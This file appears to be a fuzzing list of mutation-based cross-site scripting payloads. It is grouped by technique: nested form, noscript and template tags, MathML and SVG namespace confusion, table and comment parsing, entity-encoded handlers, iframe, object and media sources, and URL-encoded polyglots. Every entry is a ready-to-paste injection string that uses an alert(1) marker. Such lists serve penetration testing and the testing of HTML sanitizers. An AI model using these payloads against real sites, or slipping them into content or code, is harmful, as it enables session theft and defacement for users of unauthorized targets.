# Mutation XSS (mXSS) Payloads
# HTML parser mutation XSS payloads that exploit browser parsing differences

# ============== Form Tag Mutation ==============
# Nested form tags can cause parser mutations
<form><input name="x"><form>
<form><table><form>
<form><button><form>
<form><select><form>
<form><textarea><form>
</form><form>
<form><form>

# ============== Noscript Tag Mutation ==============
# Content inside noscript may be parsed differently
<noscript><script>alert(1)</script></noscript>
<noscript><img src=x onerror=alert(1)></noscript>
<noscript><style><script>alert(1)</script></style></noscript>
<noscript><iframe src="javascript:alert(1)"></noscript>
<noscript><svg onload=alert(1)></noscript>

# ============== Template Tag Mutation ==============
# Template content can be parsed in unexpected ways
<template><script>alert(1)</script></template>
<template><style><img src=x onerror=alert(1)></style></template>
<template><iframe src="javascript:alert(1)"></template>
<template><svg onload=alert(1)></template>

# ============== MathML Namespace Mutation ==============
# MathML namespace can bypass HTML filters
<math><mtext><b><script>alert(1)</script></b></mtext></math>
<math><mglyph><script>alert(1)</script></mglyph></math>
<math><mtext><img src=x onerror=alert(1)></mtext></math>
<math><mi><script>alert(1)</script></mi></math>
<math><mn><script>alert(1)</script></mn></math>

# ============== SVG Namespace Mutation ==============
# SVG namespace mixing
<svg><script>alert(1)</script></svg>
<svg><foreignObject><script>alert(1)</script></foreignObject></svg>
<svg><desc><script>alert(1)</script></desc></svg>
<svg><title><script>alert(1)</script></title></svg>
<svg><style><img src=x onerror=alert(1)></style></svg>

# ============== Table Tag Mutation ==============
# Table tags can cause parser state changes
<table><script>alert(1)</script></table>
<table><input><script>alert(1)</script>
<td><script>alert(1)</script></td>
<tr><script>alert(1)</script></tr>
<th><script>alert(1)</script></th>
<tbody><script>alert(1)</script></tbody>
<thead><script>alert(1)</script></thead>
<tfoot><script>alert(1)</script></tfoot>

# ============== HTML Entity Encoding Mutation ==============
# Entities that get decoded differently
&lt;script&gt;alert(1)&lt;/script&gt;
&lt;img src=x onerror=alert(1)&gt;
&lt;svg onload=alert(1)&gt;
&lt;iframe src="javascript:alert(1)"&gt;

# ============== Attribute Value Mutation ==============
# Attribute value parsing differences
<img src=x onerror="alert(1)">
<img src=x onerror=&quot;alert(1)&quot;>
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>

# ============== Nested Tag Mutation ==============
# Deep nesting can cause parser confusion
<div><p><script>alert(1)</script></p></div>
<span><a><script>alert(1)</script></a></span>
<b><i><u><script>alert(1)</script></u></i></b>
<blockquote><pre><code><script>alert(1)</script></code></pre></blockquote>

# ============== XMP/Listing Mutation ==============
# Legacy tags with special parsing
<xmp><script>alert(1)</script></xmp>
<listing><script>alert(1)</script></listing>
<plaintext><script>alert(1)</script></plaintext>

# ============== Ruby Annotation Mutation ==============
<ruby><script>alert(1)</script></ruby>
<ruby><rt><script>alert(1)</script></rt></ruby>
<ruby><rp><script>alert(1)</script></rp></ruby>

# ============== Unknown Tag Mutation ==============
# Unknown tags can cause parser variations
<unknown><script>alert(1)</script></unknown>
<customtag><script>alert(1)</script></customtag>
<x-embed><script>alert(1)</script></x-embed>

# ============== Comment-Based Mutation ==============
<!--><script>alert(1)</script>-->
<!--<script>alert(1)</script>-->
<!--[if]><script>alert(1)</script>-->
<!--[if IE]><script>alert(1)</script><![endif]-->

# ============== CDATA Section Mutation ==============
<![CDATA[<script>alert(1)</script>]]>
<![CDATA[<img src=x onerror=alert(1)>]]>

# ============== DOCTYPE Mutation ==============
<!DOCTYPE html><script>alert(1)</script>
<!ENTITY x "<script>alert(1)</script>">
<?xml version="1.0"?><script>alert(1)</script>

# ============== Processing Instruction Mutation ==============
<?php echo "<script>alert(1)</script>";?>
<?="<script>alert(1)</script>"?>
<%="<script>alert(1)</script>"%>

# ============== Style Block Mutation ==============
<style><script>alert(1)</script></style>
<style><img src=x onerror=alert(1)></style>
<style>@import "javascript:alert(1)";</style>
<style>body{background:url("javascript:alert(1)")}</style>

# ============== Script Block Mutation ==============
<script></script><script>alert(1)</script>
<script>x="</script><script>alert(1)</script>"
<script>alert(1)</script><script>alert(2)</script>

# ============== Iframe Mutation ==============
<iframe src="javascript:alert(1)"></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

# ============== Object/Embed Mutation ==============
<object data="javascript:alert(1)"></object>
<embed src="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>"></object>

# ============== Video/Audio Source Mutation ==============
<video><source onerror=alert(1)>
<audio><source onerror=alert(1)>
<video poster="javascript:alert(1)">
<video src=x onerror=alert(1)>

# ============== Details/Summary Mutation ==============
<details open ontoggle=alert(1)>
<details open><summary onclick=alert(1)>
<summary><details><script>alert(1)</script></details></summary>

# ============== Marquee Mutation ==============
<marquee onstart=alert(1)>
<marquee onfinish=alert(1)>
<marquee onbounce=alert(1)>

# ============== Frameset Mutation ==============
<frameset><frame src="javascript:alert(1)">
<frame src="javascript:alert(1)">
<iframe src="javascript:alert(1)">

# ============== Isolated Mutation Contexts ==============
<isindex><script>alert(1)</script>
<keygen><script>alert(1)</script>
<menu><script>alert(1)</script>
<menuitem><script>alert(1)</script>

# ============== Data Attribute Mutation ==============
<div data-x="<script>alert(1)</script>">
<div onclick="alert(1)" data-y="test">
<img src=x data-error="alert(1)">

# ============== Event Handler Case Variation ==============
<IMG SRC=X ONERROR=alert(1)>
<img src=x onerror=alert(1)>
<img src=x oNerrOr=alert(1)>
<IMG SRC=xOnError="alert(1)">

# ============== Polyglot mXSS ==============
javascript://%250Aalert(1)//%250A
%3Cscript%3Ealert(1)%3C/script%3E
'%3Cscript%3Ealert(1)%3C/script%3E'
"%3Cscript%3Ealert(1)%3C/script%3E"
'';!!--"<script>alert(1)</script>"><script>alert(1)</script>
